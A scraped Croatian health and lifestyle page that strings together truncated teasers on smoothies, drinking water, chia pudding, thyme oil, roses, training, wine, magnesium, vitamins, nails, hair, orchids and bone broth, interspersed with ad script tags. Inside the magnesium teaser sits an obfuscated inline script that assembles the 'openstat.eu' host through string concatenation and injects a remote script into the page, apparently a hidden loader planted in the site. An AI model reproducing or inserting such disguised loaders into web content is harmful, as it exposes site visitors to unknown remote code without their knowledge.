Ivana

Zdrav i ukusan smoothie  Iako su smoothieji iz trgovina često puni dodanih šećera i sirupa koji ne pridonose nutritivnoj vrijednosti, priprema kod kuće omogućuje potpunu kontrolu nad sastojcima. Nutricionisti ističu da je ključ zdravog smoothieja ravnoteža triju makronutrijenata: ugljikohidrata, proteina i masti, uz dodatak vlakana. Takva kombinacija osigurava dugotrajan osjećaj sitosti, sprječava nagle skokove šećera u krvi i pruža potrebnu energiju za cijeli dan. Sastojci koje trebate uključiti za maksimalnu nutritivnu vrijednost Osnovu svakog dobrog smoothieja čini voće, poput   borovnica, manga ili smrznutih banana, koje pruža prirodnu slatkoću, antioksidanse i vlakna. Međutim, smoothie je i odličan način da “prošvercate” povrće u prehranu; smrznuta cvjetača je favorit dijetetičara jer je neutralnog okusa, a napitku daje gustoću i vitamin C. Za izvor zdravih masti preporučuju se maslaci od orašastih plodova, sjemenke poput chie i lana i...

Je li zdravije piti vodu iz slavine ili flaširanu iz trgovine? Unos dovoljne količine tekućine jedan je od najjednostavnijih načina da se brinete o svojem tijelu, a ipak se često zanemaruje. Iako danas postoji mnogo različitih napitaka, ništa ne može zamijeniti običnu vodu. Uostalom, više od polovine ljudskog tijela čini upravo voda. Preporučuje se da žene dnevno unesu oko 11,5 čaša vode, a muškarci oko 15,5. Kratkoročno, nedovoljan unos može dovesti do simptoma kao što su mentalna magla, umor, zatvor, suha koža, nizak krvni tlak i ubrzan rad srca. Što zapravo razlikuje ove dvije vrste vode? Jedna je od ključnih razlika prisutnost klora u vodi iz slavine. Voda se redovito klorira radi dezinfekcije (ubijanja bakterija i mikroorganizama) i standardna je praksa u cijeloj Hrvatskoj. Osim klora, ne postoji univerzalni sastojak koji jasno razlikuje vodu iz slavine od flaširane. Oba izvora mogu sadržavati minerale poput kalcija, magnezija i natrija, ovisno ...

Zdravi puding od jagoda i chia sjemenki Ovaj jednostavni puding od chia sjemenki, jogurta i jagoda odličan je izbor za lagan doručak ili međuobrok. Priprema traje svega nekoliko minuta, a rezultat je kremasta, svježa kombinacija sastojaka koja dobro prija u svako doba dana. Zdravi puding od jagoda i chia sjemenki  Sastojci: 200 g svježih jagoda 25 g chia sjemenki 25 ml sirupa od jeruzalemske artičoke (ili drugog prirodnog zaslađivača po izboru) 140 g grčkog jogurta Priprema: Jagode operite, očistite i izmiksajte u glatki pire. U zdjeli pomiješajte pire od jagoda, chia sjemenke i sirup od jeruzalemske artičoke. Dobro promiješajte. Dodajte grčki jogurt i ponovno promiješajte dok ne dobijete homogenu smjesu. Smjesu rasporedite u čaše ili zdjelice i ostavite u hladnjaku najmanje 20 minuta da se puding stegne. Prije posluživanja, po želji ukrasite svježim jagodama ili listićima mente. Pripremila: Ivana Matas 

Timijanovo ulje - djelovanje, primjena i mogući učinci na zdravlje  Zbog visoke koncentracije aktivnih tvari, timijanovo ulje u pravilu se ne koristi nerazrijeđeno. Najčešće se dodaje kremama, losionima i baznim uljima, a nalazi se i u pojedinim dodacima prehrani, pastilama protiv kašlja te pripravcima za inhalaciju. Kako djeluje timijanovo ulje na organizam Timijanovo ulje poznato je po spazmolitičkom, ekspektorirajućem i antiseptičkom djelovanju. To znači da može pomoći u opuštanju grčeva, poticanju izlučivanja sluzi iz dišnih putova te smanjenju prisutnosti bakterija i drugih mikroorganizama. Jedna od najvažnijih aktivnih tvari je timol, spoj koji se povezuje s antibakterijskim i antiseptičkim svojstvima. Upravo zbog toga timijanovo ulje često se koristi kod simptoma prehlade i upalnih stanja gornjih dišnih putova. Osim toga, u aromaterapiji mu se pripisuju i učinci na smanjenje napetosti, iako takva primjena ovisi o individualnoj reakciji organizma. Timijanovo ulje ...

Kada posaditi ruže za zdrav rast i raskošno cvjetanje? Ništa nije toliko lijepo i šarmantno kao rascvjetan vrt pun ruža. O kojoj god vrsti da se radi, ove biljke spadaju među najšarenije i najmirisnije u vrtu .  Ako razmišljate o dodavanju ruža u svoj vrt, možda se pitate kada je najbolje vrijeme za sadnju. U nastavku donosimo kompletan vodič za optimalan rast i cvjetanje. Kada je najbolje vrijeme za sadnju ruža? Odgovor najčešće ovisi o klimi u vašem području. Opće pravilo je   jesen za toplije klime, jer zime nisu toliko oštre i korijenje ima vremena da se razvije prije proljeća. U hladnijim klimama, pak, sadnja u proljeće je bolja jer tada biljka neće biti izložena riziku od smrzavanja tijekom zime. Zagrijano proljetno tlo stvara povoljne uvjete za početak rasta ruža u hladnijim klimama. S obzirom na sve, može se zaključiti da je   najbolje vrijeme za sadnju ruža u rano proljeće za većinu klimatskih područja. Jednom kada prođe poslj...

Kako strukturirati trening - osnove za dugoročni napredak Puno ljudi počinje vježbati bez plana i brzo gubi motivaciju kada rezultati kasne ili se pojavljuju ozljede. Ključ uspjeha nije samo intenzitet ili količina treninga nego pravilna struktura programa. Dobro osmišljen trening balansira snagu, kondiciju, mobilnost i odmor. Dobar trening dugoročno potiče zdravlje, smanjenje tjelesne masnoće i povećanje mišićne mase. U ovom članku objasnit ćemo osnovne principe kako postaviti trening program na jednostavan, razumljiv način koji je primjeren za rekreativce. Određivanje ciljeva Prije nego počnete važno je definirati što želite postići. Ciljevi mogu biti različiti: Povećanje mišićne mase – fokus na trening snage i dovoljan unos proteina. Mršavljenje i sagorijevanje masnoće –  kombinacija treninga snage i kardio vježbi, kontrola prehrane. Poboljšanje kondicije i zdravlja srca – više aerobnog treninga i intervalnih vježbi. Fleksibilnost i ravnoteža – vježbe mobilnosti i st...

Zašto je proljeće idealno za uvođenje zdravih navika? Ako naviku izgradite dok vas vrijeme motivira, bit će je lakše održati kada se iduće zime uvjeti opet promijene Nova sezona, novi vi – zvuči kao klišej, ali znanost potvrđuje da u tome ima istine. Postoji nešto osnažujuće u onim prvim toplim, sunčanim danima godine. Većina nas osjeti nagli skok energije i val motivacije čim proljeće zakuca na vrata. Taj osjećaj nadahnuća nakon duge zime zapravo je povezan s istraživački potkrijepljenim psihološkim fenomenom koji stručnjaci nazivaju „efekt novog početka“. Što je zapravo „efekt novog početka“? Istraživanja su pokazala da su ljudi skloniji ciljanom ponašanju kada percipiraju početak novog vremenskog razdoblja. Datumi ili iskustva koji nam se čine posebnima, poput Nove godine, rođendana ili promjene godišnjeg doba, označavaju odmak od svakodnevne rutine. Oni nas ujedno i potiču da stresemo prašinu s prošlosti i okrenemo se planovima za ...

Vino i zdravlje - koliko je preporučeno i kada prestaje biti korisno? Vino je stoljećima dio kulture, druženja i gastronomije, osobito na Mediteranu. Netflixov dokumentarac  Blue zones  istražuje fenomen dugovječnosti, a u epizodi o Sardiniji, crveno vino spomenulo se nekoliko puta. Ondašnji stanovnici rekli bi da svoje zdravlje i vitalnost duguju upravo tome. No pitanje koje se sve češće postavlja jest: " Koliko je vina zapravo korisno za zdravlje, a kada ta korist prestaje? " Istina jest da vino može imati određene pozitivne učinke, ali samo u vrlo umjerenim količinama. Sve iznad toga brzo prelazi granicu iza koje potencijalna korist nestaje. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Umjerenost je ključ Najčešće spominjana preporuka odnosi se na jednu čašu vina (oko 150 ml) dnevno za žene i do dvije čaše za ...

Biljno ulje crnog kima - prirodni saveznik zdravlja i ljepote  Biljno ulje crnog kima sve češće pronalazi svoje mjesto u rutinama koje traže prirodnu, ali učinkovitu podršku zdravlju i njezi. Dobiva se hladnim prešanjem sjemenki biljke Nigella sativa i prepoznatljivo je po tamnoj boji, snažnoj, začinskoj aromi te bogatom kemijskom sastavu. Iako se koristi tisućama godina, danas ga ponovno otkrivamo kroz prizmu suvremenog načina života, stresa i potrebe za ravnotežom. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Protuupalno, antibakterijsko i protugljivično djelovanje Ulje crnog kima iznimno je vrijedno i u vanjskoj njezi. Zahvaljujući protuupalnom, antibakterijskom i protugljivičnom djelovanju, često se koristi kod problematične i osjetljive kože. Posebno je korisno kod ekcema, akni, rozacee, seboroičnog dermatitisa i neurodermitisa, gd...

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> 7 navika koje čuvaju zdravlje zubi i osmijeh  Osmijeh je jedan od prvih detalja koje primijetimo na drugoj osobi, ali i važan pokazatelj općeg zdravlja. Dobra vijest je da se zdravlje zubi u velikoj mjeri može očuvati svakodnevnim navikama. Pravilna higijena, pametan izbor proizvoda i uravnotežena prehrana čine osnovu prevencije, a uz nekoliko jednostavnih pravila moguće je dugoročno sačuvati blistav osmijeh. Pravilno pranje zubi kao temelj oralne higijene Redovito pranje uklanja naslage, bakterije i ostatke hrane koji mogu uzrokovati karijes i upale desni. Preporučuje se prati zube barem dva puta dnevno, ujutro i navečer, uz temeljito čišćenje svih površina zuba i jezika. Dosljednost je važnija od savršenstva tehnike jer upravo kontinuitet donosi rezultate. Kako odabrati pravu četkicu za zub...

Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Najvažniji vitamini i minerali za žensko zdravlje  https://she.hr/najvazniji-vitamini-i-minerali-za-zensko-zdravlje/ Svi vitamini i minerali nužni su za normalno funkcioniranje organizma, priroda je to jednostavno tako zamislila. Pa ipak, sljedećih top 5 predstavlja one najvažnije ženama za očuvanje zdravlja, vitalnosti i ljepote. Vitamin mladosti = vitamin E Ovaj snažni antioksidans slavan je po svom izuzetno pozitivnom učinku na zdravlje i izgled kože. Učinkovitim antioksidativnim djelovanjem štiti kožu i organizam u cjelosti od štetnog utjecaja oksidativnog stresa, čime sprječava prijevremeno starenje i razvoj bolesti. Za žene je važan i zato što pozitivno djeluje na menstrualne tegobe, kao i na snižavanje kolesterola, zaštitu srca, jačanje imuniteta te zdravlje reproduktivnog sustava. Vit...

https://www.novilist.hr/life/kako-oblikovati-lomljive-nokte-da-budu-jaci-i-zdraviji/ Kako oblikovati lomljive nokte da budu jači i zdraviji? <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Lomljivi nokti poznat su problem svima koji vole urednu manikuru .  Lome se, pucaju ili se cijepaju pri najmanjem udarcu. To je posebno frustrirajuće kada ste tek planirali savršeni lak ili gel manikuru. Mnogi automatski odaberu kvadratni oblik, misleći da izgleda jače. Istina je, međutim, da kvadratni oblik zapravo povećava rizik od pucanja. Oblik noktiju doista utječe na njihovu snagu, a ovalni ili blago zaobljeni oblik najbolje raspoređuje napetost i smanjuje lomljivost. Zašto nokti postaju lomljivi Prije nego što se usredotočimo na oblik, važno je razumjeti zašto nokti postaju lomljivi. Nokti...

https://www.novilist.hr/life/zimska-zastita-biljaka-sto-trebate-uciniti-da-bi-ostale-zdrave/#goog_rewarded Što trebate učiniti da bi biljke ostale zdrave zimi? <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Zimski mjeseci u vrtu i domu često djeluju kao razdoblje mirovanja, no upravo tada nastaju problemi koji će se pokazati tek s dolaskom proljeća. Biljke u zatvorenim prostorima, zimskim vrtovima i na zaštićenim mjestima izložene su suhom zraku, manjku svjetla i većem riziku od bolesti i nametnika. Upravo zato zima je važno razdoblje za osnovnu, ali ključnu biljnu njegu. Zima i biljne bolesti: na što obratiti pozornost Hladnoća sama po sebi rijetko je glavni problem. Mnogo češće biljke stradaju zbog kombinacije vlage, slabog prozračivanja i nepravilnog zalijevanja. Redovita kontrola listova, zemlje i stabljika ključna je kako bi se probl...

https://she.hr/sto-kosa-govori-o-vasem-zdravlju/ Što kosa govori o vašem zdravlju? <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Kad se radi o našoj frizuri, najveće brige uglavnom su nam koliko je skratiti, kako je stilizirati   i u koju boju se ofarbati. No stručnjaci tvrde da naša kosa govori o našem zdravlju mnogo više nego što mi mislimo. Stanje naše kose i vlasišta mogu otkriti brojne zdravstvene probleme. Suha, opuštena i tanka kosa Mnogo čimbenika uzrokuje suhu kosu, uključujući boje za kosu, upotrebu sušila i plivanje u kloriranoj vodi. Ali značajna promjena u strukturi kose može biti indikator neaktivne tiroidne žlijezde, odnosno štitnjače. Drugi simptomi hipotireoze su umor, dobitak na težini, sporiji rad srca i osjećaj hladnoće. Ljuskava i mrljasta koža tjemena Kada se na ...

https://she.hr/za-kace-i-dulje-trepavice/ 10 savjeta za zdrave, guste i duge trepavice  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Lijepe duge ženske trepavice u mnogim su kulturama znak ljepote i senzualnosti, a žene ih koriste i kao sredstvo zavođenja. Trepavice počinju rasti još od kad smo u majčinoj utrobi, a u ciklusima nastavljaju rasti tijekom cijelog života. Tipični ciklus rasta traje otprilike mjesec dana, a na jačinu i duljinu trepavica utječe zdravstveno stanje kao i genetika. One se ne nalaze na kapcima očiju samo zbog estetike, već imaju važnu ulogu zaštite naših očiju od prašine, pijeska i bakterija koje mogu izazvati infekciju oka. Pravilna prehrana Hrana koju jedemo utječe na izgled naše kože, a i kose, trepavica i noktiju. Liječnici tvrde da trepavice često počnu ispadati zbog stresa i loše prehrane. Smanjite unos pre...

https://zadovoljna.dnevnik.hr/clanak/pet-malih-stvari-koje-spasavaju-odluku-o-zdravijoj-prehrani-i-ne-traze-savrsenstvo---958445.html 5 malih stvari koje spašavaju odluku o zdravijoj prehrani i ne traže savršenstvo  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Nije lako biti konzistentan. Sastanci, obaveze, djeca, kašnjenja - sve to često utječe i na najbolju namjeru. Ali, ne treba vam savršen plan ni stopostotna disciplina; dovoljno je nekoliko malih, pametnih stvari ili navika koje čuvaju vašu odluku i kad dan krene po zlu. Ne preskačite obroke Preskakanje doručka ili ručka možda se čini kao način da smanjite unos kalorija, no, bez brige, i to će stići na naplatu kasnije. Večernje prejedanje kao posljedicu preskakanja spriječit ćete malim uravnoteženim obrokom baš onda kada mislite da niste toliko gladni. Birajte namirnice ko...

https://zadovoljna.dnevnik.hr/clanak/sve-o-pravilnoj-gnojidbi-orhideja---958675.html Koliko često hraniti orhideje da bi bile zdrave, raskošne i savršene? <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Za razliku od klasičnih sobnih biljaka, orhideje imaju specifičan način rasta i upijanja hranjivih tvari. Ne traže obilnu prihranu, ali bez nje s vremenom slabe, prestaju rasti i gube sposobnost cvjetanja. Upravo zato pravilno dozirana i redovita gnojidba čini razliku između orhideje koja jedva preživljava i one koja godinama izgleda snažno, zdravo i raskošno. Kada preskočiti gnojivo? Zimi, kada orhideje miruju, gnojidbu treba znatno smanjiti, ali ne i potpuno preskakati. Također, ne preporučuje se gnojiti biljku dok je u punom cvatu, jer to može uzrokovati prerano otpadanje cvjetova. Kako pravilno gnojiti orhideje? uvijek zalijte biljk...

https://she.hr/pomaze-li-juha-od-kostiju-kod-upala-i-zdravlja-zglobova-evo-sto-kaze-znanost/ Pomaže li juha od kostiju kod upala i zdravlja zglobova? <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Kad vam netko kaže da „pojedete sve s tanjura“, kosti se obično ne podrazumijevaju. No kosti , ili bolje rečeno ono što se iz njih dobiva- najbolji su dio obroka. Juha od kostiju posljednjih je godina doživjela veliki povratak i danas se promovira kao superhrana, ponajviše zahvaljujući slavnim osobama i wellness influencerima. Što je juha od kostiju? Juha od kostiju, poznata i kao temeljac, priprema se dugotrajnim kuhanjem životinjskih kostiju i vezivnog tkiva poput hrskavice i tetiva, najčešće 12 do 48 sati. Tijekom tog procesa u tekućinu se oslobađaju hranjive tvari poput kolagena, aminokiselina i minerala. Rezultat je bogata, aromatična juha ...

https://coverstyle.hr/jutarnja-tmina-vas-iscrpljuje-i-otezava-ustajanje-donosimo-5-savjeta-za-zdraviji-energicniji-i-uravnotezeniji-start-svakog-dana/ 5 savjeta za zdraviji, energičniji i uravnoteženiji start svakog dana  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Dobra vijest je da jutra u mraku ne moraju nužno značiti loš početak dana. Uz male, promišljene promjene u rutini moguće je pomoći tijelu da se lakše prilagodi zimskom ritmu, stabilizira energiju i smanji osjećaj iscrpljenosti. Održavajte dosljedan ritam spavanja Tijelo se najlakše prilagođava kada ima jasnu strukturu. Odlazak na spavanje i buđenje u približno isto vrijeme pomažu unutarnjem biološkom satu da ostane stabilan, čak i kada vanjski uvjeti nisu idealni. S vremenom se smanjuje osjećaj težine pri buđenju, a razina energije tijekom dana postaje ujednačenija. Izložite...